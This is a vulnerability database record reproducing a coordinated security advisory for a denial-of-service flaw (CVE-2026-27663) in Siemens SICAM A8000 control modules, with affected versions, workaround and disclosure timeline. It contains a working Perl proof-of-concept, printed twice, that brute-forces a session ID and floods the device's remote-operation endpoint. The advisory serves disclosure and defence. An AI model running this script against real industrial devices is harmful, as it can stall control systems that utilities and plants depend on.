GCVE-1988-2026-0255
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
CyberDanube Security Research 20260408-0 | Remote Operation Denial of Service in Siemens SICAM A8000
Summary
CyberDanube Security Research 20260408-0
-------------------------------------------------------------------------------
title| Remote Operation Denial of Service
product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012
vulnerable version| <=V25.30
fixed version| V26.10
CVE number| CVE-2026-27663
impact| Medium
homepage| https://siemens.com/
found| 28.11.2025
by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai
| (Office Vienna)
| CyberDanube Security Research
| Vienna | St. Pölten
|
| https://www.cyberdanube.com
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"Our purpose: We create technology to transform the everyday, for everyone.
By combining the real and the digital worlds, we can help accelerate both
digitalization and sustainability - so our customers around the world can
become more competitive, resilient and sustainable."
Source: https://www.siemens.com/global/en/company/about.html
Vulnerable versions
-------------------------------------------------------------------------------
Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / <=V25.30
Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / <=V25.30
Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / <=V25.31
Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / <=V25.31
See also the vendor advisory:
https://cert-portal.siemens.com/productcert/html/ssa-246443.html
Vulnerability overview
-------------------------------------------------------------------------------
1) Remote Operation Denial of Service (CVE-2026-27663)
The remote operation mode is vulnerable to an uncontrolled resource exhaustion.
By sending frequent requests, the service can be interrupted and the affected
PLC can no longer be parameterized. This vulnerabilitiy can be triggered with
less than 100 requests and stalls the service as log as it is restarted via the
web interface or if the device is rebooted.
Proof of Concept
-------------------------------------------------------------------------------
1) Remote Operation Denial of Service (CVE-2026-27663)
The following script can be used to force the CPCI85 process into a denial of
service state:
-----------------------------------------------------
#!/usr/bin/perl
#Author: T. Weber
#SICAM Remote Operation DoS <=V25.30
use strict;
use warnings;
use LWP::UserAgent;
use Parallel::ForkManager;
$ENV{'PERL_LWP_SSL_VERIFY_HOSTNAME'} = 0;
print "Enter target IP address: ";
chomp(my $ip = <STDIN>);
print "Enter target port: ";
chomp(my $port = <STDIN>);
print "Enter Y/N for HTTPS: ";
chomp(my $tls = <STDIN>);
if ($tls eq "Y") {
$tls = "https";
} elsif ($tls eq "N") {
$tls = "http";
} else {
die "Invalid input for HTTPS (must be Y or N)\n";
}
my $server_endpoint = "$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm";
print "Testing $server_endpoint\n";
# user agent
my $ua = LWP::UserAgent->new(
ssl_opts => { SSL_verify_mode => 0 },
keep_alive => 1,
agent => "SICAM TOOLBOX II"
);
# brute force session
my @hex = (0..9, 'A'..'F');
my $found_session;
for my $d1 (@hex) {
for my $d2 (@hex) {
for my $d3 (@hex) {
for my $d4 (@hex) {
my $session_id = "008cfd320836$d1$d2$d3$d4";
my $req = HTTP::Request->new(POST => $server_endpoint);
$req->header('content-type' => 'text/plain');
$req->header('Session-ID' => $session_id);
$req->header('UPLOADFILENAME' => 'abc.f20');
$req->content('type=20&length=1&data=A');
my $resp = $ua->request($req);
if ($resp->is_success) {
print "[$session_id] OK: ", $resp->decoded_content, "\n";
if ($resp->decoded_content ne ""){
print "found session\n";
$found_session = $session_id;
last;
}
} else {
print "[$session_id] ERROR: ", $resp->status_line, "\n";
}
}
if ($found_session ne ""){
last;
}
}
if ($found_session ne ""){
last;
}
}
if ($found_session ne ""){
last;
}
}
#denial of remote operation
my $max_procs = 10;
my $pm = Parallel::ForkManager->new($max_procs);
my @alpha = (0..9);
for my $d1 (@alpha) {
for my $d2 (@alpha) {
$pm->start and next;
my $len = "$d1$d2";
my $req = HTTP::Request->new(POST => $server_endpoint);
$req->header('content-type' => 'text/plain');
$req->header('Session-ID' => $found_session);
$req->header('UPLOADFILENAME' => 'abc.f20');
$req->content('type=20&length='.$len.'&data=A');
my $resp = $ua->request($req);
if ($resp->is_success) {
print "DoS Running: ".$d1.$d2."\n";
} else {
print "ERROR: ", $resp->status_line, "\n";
}
$pm->finish;
}
}
$pm->wait_all_children;
-----------------------------------------------------
The service is still running but stalled and cannot be used anymore to set
parameters via Toolbox II.
Solution
-------------------------------------------------------------------------------
Install the latest version available.
Workaround
-------------------------------------------------------------------------------
Activate the web-interface to restart the service if needed. Deactivate remote
operation if not used. Restrict network access to the device in the
infrastructure.
Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends to perform a white-box security assessment of the SICAM
A8000 master module devices.
Contact Timeline
-------------------------------------------------------------------------------
2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.
2026-01-13: Siemens ProductCERT confirms to work on a fix.
2026-01-16: Siemens ProductCERT asks for more information regarding the
exploitation. Provided more information.
2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary
timeline.
2026-03-26: Siemens informs that patch has been released. Providing more time
for customer to patch. Siemens published Advisory
2026-04-08: Coordinated release of security advisory.
Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com
EOF T. Weber / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | CyberDanube Security Research |
Affected:
unknown
|
guessed |
Relationships
reference
GCVE-1988-2026-0255 (this record)
- related CVE-2026-27663
{
"containers": {
"cna": {
"affected": [
{
"product": "CyberDanube Security Research",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thomas Weber | CyberDanube via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "CyberDanube Security Research 20260408-0\n-------------------------------------------------------------------------------\n title| Remote Operation Denial of Service\n product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n vulnerable version| \u003c=V25.30\n fixed version| V26.10\n CVE number| CVE-2026-27663\n impact| Medium\n homepage| https://siemens.com/\n found| 28.11.2025\n by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai\n | (Office Vienna)\n | CyberDanube Security Research\n | Vienna | St. P\u00f6lten\n |\n | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe remote operation mode is vulnerable to an uncontrolled resource exhaustion.\nBy sending frequent requests, the service can be interrupted and the affected\nPLC can no longer be parameterized. This vulnerabilitiy can be triggered with\nless than 100 requests and stalls the service as log as it is restarted via the\nweb interface or if the device is rebooted.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe following script can be used to force the CPCI85 process into a denial of\nservice state:\n-----------------------------------------------------\n#!/usr/bin/perl\n#Author: T. Weber\n#SICAM Remote Operation DoS \u003c=V25.30\nuse strict;\nuse warnings;\nuse LWP::UserAgent;\nuse Parallel::ForkManager;\n\n$ENV{\u0027PERL_LWP_SSL_VERIFY_HOSTNAME\u0027} = 0;\nprint \"Enter target IP address: \";\nchomp(my $ip = \u003cSTDIN\u003e);\n\nprint \"Enter target port: \";\nchomp(my $port = \u003cSTDIN\u003e);\n\nprint \"Enter Y/N for HTTPS: \";\nchomp(my $tls = \u003cSTDIN\u003e);\n\nif ($tls eq \"Y\") {\n $tls = \"https\";\n} elsif ($tls eq \"N\") {\n $tls = \"http\";\n} else {\n die \"Invalid input for HTTPS (must be Y or N)\\n\";\n}\n\nmy $server_endpoint = \"$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm\";\nprint \"Testing $server_endpoint\\n\";\n# user agent\nmy $ua = LWP::UserAgent-\u003enew(\n ssl_opts =\u003e { SSL_verify_mode =\u003e 0 },\n keep_alive =\u003e 1,\n agent =\u003e \"SICAM TOOLBOX II\"\n);\n\n# brute force session\nmy @hex = (0..9, \u0027A\u0027..\u0027F\u0027);\nmy $found_session;\nfor my $d1 (@hex) {\n for my $d2 (@hex) {\n for my $d3 (@hex) {\n for my $d4 (@hex) {\n my $session_id = \"008cfd320836$d1$d2$d3$d4\";\n my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n $req-\u003eheader(\u0027content-type\u0027 =\u003e \u0027text/plain\u0027);\n $req-\u003eheader(\u0027Session-ID\u0027 =\u003e $session_id);\n $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n $req-\u003econtent(\u0027type=20\u0026length=1\u0026data=A\u0027);\n\n my $resp = $ua-\u003erequest($req);\n\n if ($resp-\u003eis_success) {\n print \"[$session_id] OK: \", $resp-\u003edecoded_content, \"\\n\";\n if ($resp-\u003edecoded_content ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002print \"found session\\n\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002$found_session = $session_id;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n } else {\n print \"[$session_id] ERROR: \", $resp-\u003estatus_line, \"\\n\";\n }\n }\n if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n }\n if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n }\n if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002}\n}\n\n#denial of remote operation\nmy $max_procs = 10;\nmy $pm = Parallel::ForkManager-\u003enew($max_procs);\n\nmy @alpha = (0..9);\nfor my $d1 (@alpha) {\n for my $d2 (@alpha) {\n $pm-\u003estart and next;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002my $len = \"$d1$d2\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\n my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n $req-\u003eheader(\u0027content-type\u0027 =\u003e \u0027text/plain\u0027);\n $req-\u003eheader(\u0027Session-ID\u0027 =\u003e $found_session);\n $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n $req-\u003econtent(\u0027type=20\u0026length=\u0027.$len.\u0027\u0026data=A\u0027);\n my $resp = $ua-\u003erequest($req);\n\n if ($resp-\u003eis_success) {\n print \"DoS Running: \".$d1.$d2.\"\\n\";\n } else {\n print \"ERROR: \", $resp-\u003estatus_line, \"\\n\";\n }\n $pm-\u003efinish;\n }\n}\n$pm-\u003ewait_all_children;\n-----------------------------------------------------\nThe service is still running but stalled and cannot be used anymore to set\nparameters via Toolbox II.\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nActivate the web-interface to restart the service if needed. Deactivate remote\noperation if not used. Restrict network access to the device in the\ninfrastructure.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.\n2026-01-13: Siemens ProductCERT confirms to work on a fix.\n2026-01-16: Siemens ProductCERT asks for more information regarding the\n exploitation. Provided more information.\n2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary\n timeline.\n2026-03-26: Siemens informs that patch has been released. Providing more time\n for customer to patch. Siemens published Advisory\n2026-04-08: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/6"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/6"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://siemens.com/"
},
{
"url": "https://twitter.com/cyberdanube"
},
{
"url": "https://www.cyberdanube.com"
},
{
"url": "https://www.siemens.com/global/en/company/about.html"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/6"
],
"discovery": "EXTERNAL"
},
"title": "CyberDanube Security Research 20260408-0 | Remote Operation Denial of Service in Siemens SICAM A8000",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-27663",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0255",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/6",
"automated": true,
"contentSha256": "7d95f78081fc703f96746594c19abdc59bde7143cf43707a3482303ccc3022ef",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/6",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-14T10:43:15Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0255"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-08T08:13:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0255"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…